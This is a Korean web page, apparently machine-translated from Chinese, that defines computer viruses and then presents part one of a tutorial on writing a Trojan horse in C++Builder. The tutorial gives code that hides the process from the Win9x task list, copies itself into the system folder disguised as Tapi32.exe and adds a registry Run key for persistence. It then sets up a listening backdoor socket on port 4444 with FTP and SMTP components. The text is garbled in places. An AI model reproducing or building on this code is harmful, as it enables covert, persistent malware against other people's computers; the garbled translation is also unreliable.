컴퓨터 지식 네트워크 - 컴퓨터 프로그래밍 - 해커란 무엇인가요? 컴퓨터 바이러스란 무엇인가요?

해커란 무엇인가요? 컴퓨터 바이러스란 무엇인가요?

컴퓨터 바이러스란 무엇인가요?

컴퓨터 바이러스는 프로그램, 즉 실행 가능한 코드 조각입니다. 생물학적 바이러스와 마찬가지로 컴퓨터 바이러스도 고유한 복제 능력을 가지고 있습니다. 컴퓨터 바이러스는 빠르게 확산될 수 있으며

제거하기 어려운 경우가 많습니다. 다양한 유형의 파일에 첨부할 수 있습니다. 한 사용자에서 다른 사용자로 복사되거나 전송될 때 파일과 함께 전파됩니다.

복제 능력 외에도 일부 컴퓨터 바이러스에는 다른 고유한 특성이 있습니다. 즉, 오염된 프로그램이 바이러스 벡터를 전달할 수 있습니다. 텍스트와 이미지로만 나타나는 것처럼 보이는 바이러스 벡터를 보면

파일을 파괴했거나 하드 드라이브를 다시 포맷했거나 다른 유형의 재난을 일으켰을 수도 있습니다. 바이러스가

오염된 프로그램에 서식하지 않는 경우에도 저장 공간을 차지하고 컴퓨터의 전반적인 성능을 저하시켜 문제를 일으킬 수 있습니다.

컴퓨터 바이러스의 정의는 다양한 관점에서 제시될 수 있습니다. 한 가지 정의는 디스크, 테이프, 네트워크를 통해 미디어로 확산되어 다른 프로그램을 "감염"시킬 수 있는 프로그램입니다

. 다른 하나는 특정 벡터의 도움으로 스스로 복제하고 존재할 수 있는 잠복하고 전염성이 있으며 파괴적인 프로그램입니다. 또 다른 정의는 저장 매체(예: 디스크, 메모리)에 숨어 있거나 기생하는 인간이 만든 프로그램이나 다른 채널을 통한 프로그램입니다. 특정 조건이나 시간이 성숙되면 스스로 복제되어

확산되어 다른 프로그램 등에 의해 컴퓨터 리소스가 손상되는 원인이 됩니다. 어떤 의미에서 이러한 진술은 생물학적 바이러스의 개념을 차용한 것입니다. 컴퓨터 바이러스는 컴퓨터 시스템과 네트워크에 침입하여 정상적인 업무를 위협할 수 있는 "병원체"라는 점에서 생물학적 바이러스와 유사합니다. 이는 컴퓨터 시스템에 다양한 손상을 일으킬 수 있는 동시에 스스로 복제할 수 있으며

전염성이 있습니다.

따라서 컴퓨터 바이러스는 어떤 수단을 통해 컴퓨터 저장 매체(또는 프로그램)에 잠복해 있다가 특정 조건에 도달하면 활성화될 수 있는 바이러스입니다.

일련의 절차 또는 리소스에 파괴적인 작업을 수행하는 지침.

참조: /pages/winfile/FaQ/bingdu.html

트로이 목마 작성 방법(1)

무한 저우 칸

트로이 목마라는 용어는 1998년 'Dead Cow Cult' 해커 그룹이 백 오리피스(Back Orifice)를 출시한 이후부터 트로이 목마가 땅바닥에 천둥처럼 퍼져 도스에서 자란 중국 누리꾼들 사이에서 깨어났다. 꿈을 꾸고 마침내 인터넷에도 나쁜 면이 있다는 것을 깨달았고, 이로 인해 사람들은 한동안 당황하게 되었습니다.

당시 '컴퓨터뉴스' 기사를 봤는데, 신인이 누군가 BO를 이용해 조종하고 있다는 내용이 주 내용이었다. 하루 종일 인터넷을 도와주세요! 하하, 트로이목마의 역사는 매우 길다는 것을 아셔야 합니다. AT&T Unix와 BSD Unix가 매우 인기가 있던 시절부터 트로이목마는 프로그램 플레이(주로 미국 노인)에 능숙한 일부 젊은 사람들(주로 미국 노인들)에 의해 만들어졌습니다. C).)은 C나 Shell 언어로 작성되었으며 기본적으로 더 높은 권한을 얻기 위해 호스트에 로그인하기 위한 비밀번호를 도용하는 데 사용됩니다. 당시 트로이목마의 주요 수법은 먼저 .profile 파일을 수정하여 트로이목마를 심는 것이었습니다. 로그인 시 입력한 비밀번호 문자가 파일에 저장되어 공격자의 메일함으로 전송됩니다. 이메일 형식으로. 중국의 젊은이들 대부분은 불법 복제된 DoS의 영향을 받으며 자랐으며 인터넷에 대해 매우 익숙하지 않습니다. Win9x가 나오기 전까지, 특히 네트워크 산업의 발전을 크게 이끈 WinNt의 인기에 힘입어 3년 후의 관점에서 보면 BO는 다소 단순하고 심지어 조잡한 트로이 목마처럼 보였습니다(Win9x의 "종료 프로그램" 프로세스에서도). 대화상자에서 볼 수 있음) 당시 중국인들에게 큰 충격을 안겨준 것은 중국의 네트워크 보안 측면에서 획기적인 소프트웨어라고 할 수 있습니다.

자신만의 트로이 목마를 작성하는 것이 멋있을 것 같죠? ! 트로이 목마는 서버 프로그램(서버)과 클라이언트 프로그램(클라이언트)으로 구성되어야 합니다. 스파이가 대상을 공격하는 것과 마찬가지로 서버는 공격 경로를 열어주는 역할을 합니다. 통신하는 프로토콜입니다(일반적으로 TCP/IP 프로토콜). 모든 사람이 트로이 목마 공격 기술을 더 잘 이해하고 트로이 목마의 미스터리를 제거할 수 있도록 트로이 목마 작성 기술에 대해 간략하게 설명하고 트로이 목마 예제를 작성하여 모든 사람이 다양한 알려지거나 알려지지 않은 트로이 목마를 더 잘 예방하고 죽일 수 있도록 하겠습니다. .

첫 번째는 프로그래밍 도구의 선택입니다.

현재 널리 사용되는 개발 도구로는 C++Builder, VC, VB 및 Delphi가 있습니다. 여기서는 C++Builder(이하 BCB라고 함)를 선택합니다. VC가 좋지만 예제를 더 잘 강조하기 위해 GUI 디자인이 너무 복잡합니다. , 저는 트로이 목마의 기본 원리에 중점을 두고 시각적 BCB를 선택했습니다. Delphi도 좋지만 단점은 기존 리소스(예: "Dead Cow Cult" 해커가 공개한 BO2000 소스 코드)를 상속할 수 없다는 것입니다. VC가 작성하고 온라인(어디서나)에서 찾을 수 있는 그룹, Msvbvm60.dll에 대해서도 이야기하지 않으시겠습니까?

C++Builder 5.0 Enterprise Edition을 시작하고 새 프로젝트를 생성한 다음 3개의 VCL 컨트롤을 추가합니다. 하나는 인터넷 페이지의 서버 소켓이고 다른 두 개는 Fastnet 페이지의 NMFTP 및 NMSMTP입니다. 서버 소켓의 기능은 이 프로그램을 외부 당사자에게 서비스를 제공할 수 있는 서버 프로그램으로 바꾸는 것입니다(공격자에게 문을 열어줌). 소켓은 Unix에 처음 등장했고 나중에 Microsoft는 이를 Windows(Win98 및 WinNt 포함)에 도입했습니다. 후자의 두 컨트롤은 프로그램이 FTP(파일 전송 프로토콜) 및 SMTP(Simple Mail Transfer Protocol)를 가질 수 있도록 하는 데 사용됩니다. ) 기능을 사용하면 소프트웨어에서 기능을 업로드 및 다운로드하고 이메일을 보낼 수 있는 컨트롤이라는 것을 누구나 한 눈에 알 수 있습니다.

Form 양식은 시각적이며 이는 물론 놀랍습니다. 많은 공간을 차지할 뿐만 아니라(양식 하나만으로도 300K) 소프트웨어를 볼 수 있게 만들고 전혀 효과가 없습니다. 따라서 실제로 트로이 목마를 작성할 때 일반적으로 약 17K만 포함하는 프로시저를 사용하여 Delphi에서 구현한 작은 프로그램과 마찬가지로 프로그램에 양식이 포함되지 않도록 몇 가지 기술을 사용할 수 있습니다.

먼저 프로그램을 보이지 않게 만들어야 합니다. 양식을 두 번 클릭하고 먼저 Win9x "프로그램 닫기" 대화 상자에서 트로이 목마를 숨길 수 있는 FormCreate 이벤트에 코드를 추가합니다. 사실 아주 신비해 보이는데, 직설적으로 말하면 서비스라는 백그라운드 프로세스일 뿐이고 더 높은 우선순위로 실행될 수 있으며 시스템의 핵심에 매우 가까운 장치 드라이버 중 하나라고 할 수 있습니다. . 따라서 RegisterServiceProcess() 함수를 사용하여 프로세스 데이터베이스에 프로그램을 서비스 프로세스(Service Process)로 등록하기만 하면 됩니다. 그러나 이 함수의 선언은 Borland 사전 패키지 헤더 파일에 없으므로 KERNEL32.DLL에 있는 Bird 함수를 직접 선언해야 합니다.

먼저 대상 컴퓨터의 운영 체제가 Win9x인지 WinNt인지 확인합니다.

{

DWORD dwVersion = GetVersion();

// 운영 체제의 버전 번호를 가져옵니다.

if (dwVersion >= 0x80000000)

// 운영 체제가 WinNt가 아니라 Win9x입니다.

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://RegisterServiceProcess() 함수의 프로토타입 정의

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://동적 링크 라이브러리 KERNEL32.DLL을 로드합니다. 여기서 RegisterServiceProcess() 함수가 있습니다.

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://RegisterServiceProcess() 함수의 주소 가져오기

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://RegisterServiceProcess() 함수를 실행하고 이 프로세스를 숨깁니다.

FreeLibrary(hDLL);

file://동적 링크 라이브러리 제거

}

}

이렇게 하면 마침내 보이지 않게 될 수 있습니다(그래서 너무 많은 코드를 입력하게 되었습니다!). . 왜 운영체제를 판단해야 합니까? WinNt의 프로세스 관리자는 현재 프로세스에 대한 개요를 볼 수 있으므로 WinNt에서 위 코드를 사용할 필요가 없습니다(그러나 나중에 설명할 다른 방법을 사용할 수 있습니다).

그런 다음 자신을 %System% 디렉터리(예: C:\Windows\System)에 복사하고 시작 시 자동으로 로드되도록 레지스트리를 수정합니다.

{

char TempPath [MAX_PATH];

file://변수를 정의합니다.

GetSystemDirectory(TempPath,MAX_PATH);

file://TempPath는 시스템 디렉터리 버퍼입니다. 주소, MAX_PATH는 버퍼의 크기입니다. 대상 시스템의 시스템 디렉토리 경로를 가져옵니다.

SystemPath=AnsiString(TempPath);

file://TempPath 문자열을 형식화하여 컴파일러에서 사용할 수 있는 스타일이 됩니다

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://%System% 디렉터리에 복사하고 이름을 Tapi32.exe로 바꾸고 위장합니다.

Registry=new TRegistry;

file:/ /TRegistry 객체 정의, 레지스트리 수정 준비, 이 단계는 필수입니다.

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://기본 키를 HKEY_LOCAL_MACHINE으로 설정

레지스트리 ->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://Open key Software\\Microsoft\\Windows\\ CurrentVersion\\Run, 존재하지 않으면 생성하세요.

try

{

file://다음 문에서 예외가 발생하면 점프하세요. 프로그램 충돌을 피하기 위해 잡기

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry->WriteString("crossbow" ,SystemPath+"\\Tapi32.exe");

file://"석궁"이라는 단어가 포함된 키값이 있는지, 복사된 디렉터리 %System%+Tapi32.exe인지 확인하세요

file:// 없으면 위의 키값과 내용을 적어주세요

}

catch(...)

{

file:/ /오류가 있으면 아무것도 하지 마세요.

}

}

좋아요, FormCreate 프로세스가 완료되었으므로 Tapi32.exe는 시작될 때마다 자동으로 로드될 수 있으며 "프로그램 닫기" 대화 상자에 해당 프로세스가 더 이상 표시되지 않고 트로이 목마의 프로토타입이 나타납니다.

그런 다음 ServerSocket 컨트롤을 선택하고 왼쪽의 Object Inspector에서 Active를 true로 변경하면 프로그램이 시작하자마자 특정 포트가 열리고 서버가 작동 상태가 됩니다. 그런 다음 포트에 트로이 목마의 포트 번호인 4444를 입력합니다. 물론 다른 것을 사용할 수도 있습니다. 하지만 1024 이하의 저사양 포트는 사용하지 않도록 주의해야 합니다. 이는 기본 네트워크 프로토콜에서 사용하는 포트와 충돌할 뿐만 아니라 쉽게 탐지될 수 있으므로 1024 이상의 고급 포트를 사용해보세요(단, 그런 기술도 있는데, 충돌이 일어나도 Windows가 불평을 하지 않기 때문에 의도적으로 특정 포트를 사용합니다 ^_^). TNMFTP 제어에서 사용하는 포트를 살펴보면 FTP 프로토콜(FTP 제어 포트) 전용 제어 포트인 포트 21입니다. 마찬가지로 TNMSMTP의 포트 25도 SMTP 프로토콜 전용 포트입니다. .

上篇: 하기 쉽고 수익성이 좋은 사업은 무엇입니까? 下篇: 5개 극장의 사령관은 누구인가요?
관련 내용